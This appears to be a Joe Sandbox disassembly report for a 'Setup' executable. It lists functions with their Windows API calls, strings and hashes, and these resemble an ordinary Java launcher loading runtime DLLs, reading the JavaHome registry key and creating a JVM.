Instruction ID: 0b96fdb9e5ef0e9b347fdecaa040d010d00100bcebcf9f707275f9e3c9632ec2
Opcode Fuzzy Hash: 5a36ed472193ec25cfcea15ef0ae03a46e7eea35b8d27c3ab642bdf1c246a56a
Instruction Fuzzy Hash: A5818F31A1AB4385EA14FB11EC952B9E3A0BF88754FC44135DA4E83BA5DF3CE545C720

Function 00007FF70C256AA0 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 123libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF70C256B52
LoadLibraryA.KERNEL32 ref: 00007FF70C256BDC
LoadLibraryA.KERNEL32 ref: 00007FF70C256C76

Strings

msvcp140.dll, xrefs: 00007FF70C256BFF
PRT path is %s, xrefs: 00007FF70C256C55
CRT path is %s, xrefs: 00007FF70C256B31, 00007FF70C256BBB
vcruntime140.dll, xrefs: 00007FF70C256AE7
Error: loading: %s, xrefs: 00007FF70C256C86
\bin\vcruntime140.dll, xrefs: 00007FF70C256B1B
vcruntime140_1.dll, xrefs: 00007FF70C256B71
\bin\msvcp140.dll, xrefs: 00007FF70C256C3F
Error: Path length exceeds maximum length (PATH_MAX), xrefs: 00007FF70C256C2F
\bin\vcruntime140_1.dll, xrefs: 00007FF70C256BA5
\bin\, xrefs: 00007FF70C256AF3, 00007FF70C256B7D, 00007FF70C256C0B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: LibraryLoad
String ID: CRT path is %s$Error: Path length exceeds maximum length (PATH_MAX)$Error: loading: %s$PRT path is %s$\bin\$\bin\msvcp140.dll$\bin\vcruntime140.dll$\bin\vcruntime140_1.dll$msvcp140.dll$vcruntime140.dll$vcruntime140_1.dll
API String ID: 1029625771-2662282541
Opcode ID: 7ae692a7edd89861307a543ce10e74eaf73cecd1090d2a29193a5a2aca219c8b
Instruction ID: 594daf93ca18a005cc60f6708c9ae6e1d4f05c50a2a48d8bf5368b25bef124e0
Opcode Fuzzy Hash: 7ae692a7edd89861307a543ce10e74eaf73cecd1090d2a29193a5a2aca219c8b
Instruction Fuzzy Hash: 7D51BB21A2864391EE20FB50ED961FAA361FF94349FC45131E64D42FA6EF3CE54AD720

Function 00007FF70C256CC4 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 126registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF70C256D2A
RegEnumKeyA.ADVAPI32 ref: 00007FF70C256D51
RegEnumKeyA.ADVAPI32 ref: 00007FF70C256DAE
RegOpenKeyExA.ADVAPI32 ref: 00007FF70C256DDA
RegCloseKey.ADVAPI32 ref: 00007FF70C256DF6
RegQueryValueExA.ADVAPI32 ref: 00007FF70C256E31
RegCloseKey.ADVAPI32 ref: 00007FF70C256E45
RegCloseKey.ADVAPI32 ref: 00007FF70C256E67
RegCloseKey.ADVAPI32 ref: 00007FF70C256EAF

Strings

JavaHome, xrefs: 00007FF70C256E12
Software\JavaSoft\Java Runtime Environment, xrefs: 00007FF70C256D23

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Close$EnumOpen$QueryValue
String ID: JavaHome$Software\JavaSoft\Java Runtime Environment
API String ID: 2572215972-2531112370
Opcode ID: 496ad6ac866e299300a81ee0ee3a9b0d22cb923cfb6ab4ff93528eee10404356
Instruction ID: ed01816bd690de68fa77a27634b64cb911e042d2f4c7702dff9d68ff99580645
Opcode Fuzzy Hash: 496ad6ac866e299300a81ee0ee3a9b0d22cb923cfb6ab4ff93528eee10404356
Instruction Fuzzy Hash: 79513A32B19B4382EA50EB65EC556BAA3A4FF84B84F840531EA4E42F54DF3CE5458720

Function 00007FF70C2554B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 99synchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C266CBC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C266CE0

WaitForSingleObject.KERNEL32 ref: 00007FF70C2555DD
GetExitCodeThread.KERNEL32 ref: 00007FF70C2555EB
CloseHandle.KERNEL32 ref: 00007FF70C2555F4

Part of subcall function 00007FF70C266CBC: CreateThread.KERNEL32 ref: 00007FF70C266D21
Part of subcall function 00007FF70C266CBC: GetLastError.KERNEL32 ref: 00007FF70C266D2F
Part of subcall function 00007FF70C266CBC: CloseHandle.KERNEL32 ref: 00007FF70C266D4C
Part of subcall function 00007FF70C266CBC: FreeLibrary.KERNEL32 ref: 00007FF70C266D5B

Strings

J2D_D3D, xrefs: 00007FF70C255528
true, xrefs: 00007FF70C25559D
J2D_D3D_PRELOAD, xrefs: 00007FF70C255552
preloadD3D, xrefs: 00007FF70C2555C6
false, xrefs: 00007FF70C255539, 00007FF70C255566

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CloseHandleThread$CodeCreateErrorExitFreeLastLibraryObjectSingleWait_invalid_parameter_noinfo
String ID: J2D_D3D$J2D_D3D_PRELOAD$false$preloadD3D$true
API String ID: 2847611408-3397395437
Opcode ID: c9f113a99d199f25bf34a784e1bde5df4a05aedc6fa0d44eeea2a721a9ada148
Instruction ID: 7f1ce3f57ae1fb877591de686444b94bed14bcd89c80f87cce599f7d85ec4aa5
Opcode Fuzzy Hash: c9f113a99d199f25bf34a784e1bde5df4a05aedc6fa0d44eeea2a721a9ada148
Instruction Fuzzy Hash: 64418B71A1A70386EA18FB51ED55279B3A1AF88B94FD44139DA0E83BA4DF3CE544C720

Function 00007FF70C2528B4 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C252998
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2529AB

Part of subcall function 00007FF70C255660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF70C253857), ref: 00007FF70C255674

Strings

Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF70C2529B5
checkAndLoadMain, xrefs: 00007FF70C252908
%ld micro seconds to load main class, xrefs: 00007FF70C252991
_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF70C25299D
(ZILjava/lang/String;)Ljava/lang/Class;, xrefs: 00007FF70C252901
----%s----, xrefs: 00007FF70C2529A4

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf$FrequencyPerformanceQuery
String ID: %ld micro seconds to load main class$(ZILjava/lang/String;)Ljava/lang/Class;$----%s----$Error: A JNI error has occurred, please check your installation and try again$_JAVA_LAUNCHER_DEBUG$checkAndLoadMain
API String ID: 55271498-1016856437
Opcode ID: 9840c571dd651118f10d919033ed642a67e18073eee82866058d84f5acd4c250
Instruction ID: 5b2dd2493c448ee1eba82d34cc4e2ea014c0c8f99495e43a80f29e73a8082065
Opcode Fuzzy Hash: 9840c571dd651118f10d919033ed642a67e18073eee82866058d84f5acd4c250
Instruction Fuzzy Hash: FB312B61A0974780EA00FF26AC452AEA7A0AF45FC4F984531DE4D17BAADF3CE4458720

Function 00007FF70C256A04 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C256AA0: LoadLibraryA.KERNEL32 ref: 00007FF70C256B52
Part of subcall function 00007FF70C256AA0: LoadLibraryA.KERNEL32 ref: 00007FF70C256BDC

LoadLibraryA.KERNEL32(?,?,00000000,00007FF70C25203F), ref: 00007FF70C256A30
GetProcAddress.KERNEL32(?,?,00000000,00007FF70C25203F), ref: 00007FF70C256A51
GetProcAddress.KERNEL32(?,?,00000000,00007FF70C25203F), ref: 00007FF70C256A64

Part of subcall function 00007FF70C256630: MessageBoxA.USER32 ref: 00007FF70C2566D2

Strings

Error: loading: %s, xrefs: 00007FF70C256A3E
JVM path is %s, xrefs: 00007FF70C256A1C
Error: can't find JNI interfaces in: %s, xrefs: 00007FF70C256A7D
JNI_CreateJavaVM, xrefs: 00007FF70C256A47
JNI_GetDefaultJavaVMInitArgs, xrefs: 00007FF70C256A57

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: LibraryLoad$AddressProc$Message
String ID: Error: can't find JNI interfaces in: %s$Error: loading: %s$JNI_CreateJavaVM$JNI_GetDefaultJavaVMInitArgs$JVM path is %s
API String ID: 3101497455-3810690643
Opcode ID: 79dd69b648ba644c4b7c2a443ef5768ea848ab1d085a151d6f22225a751374ea
Instruction ID: 173a36653d807d060864bc6a42733883a498b7cf7f83c5f55f34e13e0e1967ae
Opcode Fuzzy Hash: 79dd69b648ba644c4b7c2a443ef5768ea848ab1d085a151d6f22225a751374ea
Instruction Fuzzy Hash: AC012724A19B83C0EA54FB11AD8527AB361AF48790FC49131EA5E02FA5EF3CE0958320

Function 00007FF70C2694D4 Relevance: 13.8, APIs: 9, Instructions: 273fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70C269094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2690D5
Part of subcall function 00007FF70C269094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C269155
Part of subcall function 00007FF70C269094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2691A9
Part of subcall function 00007FF70C269094: _get_daylight.LIBCMT ref: 00007FF70C269201

CreateFileW.KERNEL32 ref: 00007FF70C2695DA
CreateFileW.KERNEL32 ref: 00007FF70C26962A
GetLastError.KERNEL32 ref: 00007FF70C26965A
GetFileType.KERNEL32 ref: 00007FF70C26966F
GetLastError.KERNEL32 ref: 00007FF70C269679
CloseHandle.KERNEL32 ref: 00007FF70C2696AC
CloseHandle.KERNEL32 ref: 00007FF70C269807
CreateFileW.KERNEL32 ref: 00007FF70C26983C
GetLastError.KERNEL32 ref: 00007FF70C26984B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 1799b2f7489431ff5a8b7e6613862bb9637e19e5281c98c62e3c6134856f2460
Instruction ID: 5fcbaff06f44dc5237d216a330d723b36f7f865f34dde211be8f5a3bb2c7ea4c
Opcode Fuzzy Hash: 1799b2f7489431ff5a8b7e6613862bb9637e19e5281c98c62e3c6134856f2460
Instruction Fuzzy Hash: 8DC1A136B24A4286EB10EF69D8905AC7771FF49B98F505239DA2E87BD5CF39D052C320

Function 00007FF70C2515FC Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C25168B
sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C2516E5

Strings

-Denv.class.path=%s, xrefs: 00007FF70C25167E
-Dapplication.home=%s, xrefs: 00007FF70C2516DB
CLASSPATH, xrefs: 00007FF70C251629
;, xrefs: 00007FF70C251630
Error: Could not determine application home., xrefs: 00007FF70C2516AD
-Djava.class.path=, xrefs: 00007FF70C25172A

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: sprintf
String ID: -Dapplication.home=%s$-Denv.class.path=%s$-Djava.class.path=$;$CLASSPATH$Error: Could not determine application home.
API String ID: 590974362-1246759518
Opcode ID: 455d70054afd31d29f76bbff17add01c85bfeebe5bcde5f5dcac02a02daf364e
Instruction ID: 01a72f4ed6088a0c00d1b054bf4bdc48dc5ebbb3b132b63b97957a0357e12f65
Opcode Fuzzy Hash: 455d70054afd31d29f76bbff17add01c85bfeebe5bcde5f5dcac02a02daf364e
Instruction Fuzzy Hash: 51417115A2964355ED14FB55ED522FE9350AF88B80FC85131EA0E47B97EF3CE4168620

Function 00007FF70C269F40 Relevance: 10.8, APIs: 7, Instructions: 291COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26A376

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 03835eed2511794ef1806b7f7081e0c12be8bfe6403703d697b9048c26610adb
Instruction ID: 14ec4cce751be3dd8012cc03053e1e1dda5a78cbd8478598181565647acb0f15
Opcode Fuzzy Hash: 03835eed2511794ef1806b7f7081e0c12be8bfe6403703d697b9048c26610adb
Instruction Fuzzy Hash: 12C1B122A0868781E661BB1998402BDF7A1FF81B80F994131EA4E17B96DF7DE855D330

Function 00007FF70C270434 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 202COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C270476
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,strdup,00000002,?,00007FF70C25F6EE,?,?,00000000,00007FF70C25129B), ref: 00007FF70C270534
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,strdup,00000002,?,00007FF70C25F6EE,?,?,00000000,00007FF70C25129B), ref: 00007FF70C2705BE

Strings

strdup, xrefs: 00007FF70C27043B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID: strdup
API String ID: 2210144848-3162730407
Opcode ID: 5f6e868cac8767b8cd00cb556661574c3e77d0b1cf669c8e4ef70b47ba6a9909
Instruction ID: 6940f09a299d654803f1f5e44dbd541c4d62e6af73bf24880eab4dc0b0d35354
Opcode Fuzzy Hash: 5f6e868cac8767b8cd00cb556661574c3e77d0b1cf669c8e4ef70b47ba6a9909
Instruction Fuzzy Hash: D0819F22E1961389E710FB659C922BDB660BF84794F844236DE0E57F91DF3CA449C730

Function 00007FF70C25C6B4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF70C25C966,?,?,?,00007FF70C25C658,?,?,00000001,00007FF70C25C375), ref: 00007FF70C25C739
GetLastError.KERNEL32(?,?,?,00007FF70C25C966,?,?,?,00007FF70C25C658,?,?,00000001,00007FF70C25C375), ref: 00007FF70C25C747
LoadLibraryExW.KERNEL32(?,?,?,00007FF70C25C966,?,?,?,00007FF70C25C658,?,?,00000001,00007FF70C25C375), ref: 00007FF70C25C771
FreeLibrary.KERNEL32(?,?,?,00007FF70C25C966,?,?,?,00007FF70C25C658,?,?,00000001,00007FF70C25C375), ref: 00007FF70C25C7B7
GetProcAddress.KERNEL32(?,?,?,00007FF70C25C966,?,?,?,00007FF70C25C658,?,?,00000001,00007FF70C25C375), ref: 00007FF70C25C7C3

Strings

api-ms-, xrefs: 00007FF70C25C759

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c93b9afa9378045dd70fb8ef329fe2978787cf993e8feb7acc1572fb472f35fc
Instruction ID: d0b39cfb57ff9eb6003025a5a5ee3adca879720f0b347e8585b0da800b7a31e5
Opcode Fuzzy Hash: c93b9afa9378045dd70fb8ef329fe2978787cf993e8feb7acc1572fb472f35fc
Instruction Fuzzy Hash: 9331A225A1AB4385EE16FB169C40676A398FF18BA4F990535DF2D4AF84FF3CE4418320

Function 00007FF70C277C34 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF70C277C65
GetLastError.KERNEL32 ref: 00007FF70C277C71
CloseHandle.KERNEL32 ref: 00007FF70C277C89
CreateFileW.KERNEL32 ref: 00007FF70C277CB4
WriteConsoleW.KERNEL32 ref: 00007FF70C277CD3

Strings

CONOUT$, xrefs: 00007FF70C277C95

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b978a35b7cc1b70b866fd404e3b01f6d9dbae4f0d2cae35a5a8d853d967fe07c
Instruction ID: c4cd2e56f5e88d9522d757d056b8bb700d409df4c4501d9f5b912452cf3863ad
Opcode Fuzzy Hash: b978a35b7cc1b70b866fd404e3b01f6d9dbae4f0d2cae35a5a8d853d967fe07c
Instruction Fuzzy Hash: 05115E31A18B4286E750EB56EC85329A2A4FF89FE4F844338EA5D87BA4DF3CD444C754

Function 00007FF70C25C174 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70C25C19F
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF70C25C234
RtlUnwindEx.KERNEL32 ref: 00007FF70C25C283

Strings

csm, xrefs: 00007FF70C25C21A
f, xrefs: 00007FF70C25C1B2

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d1235d08063fd44caa80003cf1faec46bd67c8aa531a05c929fa3fce195626d
Instruction ID: 5ad0c7f3dcb0ccf51c5754df9c0b710ae45dfc85ded42bbbb57da746c02d71dd
Opcode Fuzzy Hash: 9d1235d08063fd44caa80003cf1faec46bd67c8aa531a05c929fa3fce195626d
Instruction Fuzzy Hash: C951A232A1970396EB54EB15E844A3AB795FF48B98F918130DF1A87B48EF78E941C710

Function 00007FF70C256114 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF70C256137
GetProcAddress.KERNEL32 ref: 00007FF70C256150

Strings

jvm.dll, xrefs: 00007FF70C256130
Error: loading: %s, xrefs: 00007FF70C256169
JVM_FindClassFromBootLoader, xrefs: 00007FF70C256146, 00007FF70C256162

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Error: loading: %s$JVM_FindClassFromBootLoader$jvm.dll
API String ID: 1646373207-1240634009
Opcode ID: 58e78ba51c2ce9807b3a6983860b8e3d0bcbcf34b458af5ae3e2c417ad45fe21
Instruction ID: 2561bc02c896d46f4d6eff23585cfc6d058e0fac5befd82dea251c7357c36dff
Opcode Fuzzy Hash: 58e78ba51c2ce9807b3a6983860b8e3d0bcbcf34b458af5ae3e2c417ad45fe21
Instruction Fuzzy Hash: AFF06924A19B0380EE14FB09ED8513A9261AF48791FC49035D90D46F61FF3CE084D260

Function 00007FF70C25FAA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF70C25FAC0
GetProcAddress.KERNEL32 ref: 00007FF70C25FAD6
FreeLibrary.KERNEL32 ref: 00007FF70C25FAF3

Strings

mscoree.dll, xrefs: 00007FF70C25FAB7
CorExitProcess, xrefs: 00007FF70C25FACF

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e5d9057759f63bdc52e77bb7fb25d867f581dcb33219df1bdb630c50641dc064
Instruction ID: b789a1ee523d960d6a692b35bea4b1197752870c957195e7c55b38cc04f2a116
Opcode Fuzzy Hash: e5d9057759f63bdc52e77bb7fb25d867f581dcb33219df1bdb630c50641dc064
Instruction Fuzzy Hash: E9F03A65A1974381EF54BBA5ECC6376A361AF48740F84113ADA4F46B64DF3CD488C320

Function 00007FF70C266CBC Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C266CE0
CreateThread.KERNEL32 ref: 00007FF70C266D21
GetLastError.KERNEL32 ref: 00007FF70C266D2F
CloseHandle.KERNEL32 ref: 00007FF70C266D4C
FreeLibrary.KERNEL32 ref: 00007FF70C266D5B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 64698e641f6a83f300df68712df761b31ff8641ecb0b3257fc353e06f2765ece
Instruction ID: ce17d5df626f65a8cda47c6695190745583def32a6e7ca1bafff9b68fa3164c4
Opcode Fuzzy Hash: 64698e641f6a83f300df68712df761b31ff8641ecb0b3257fc353e06f2765ece
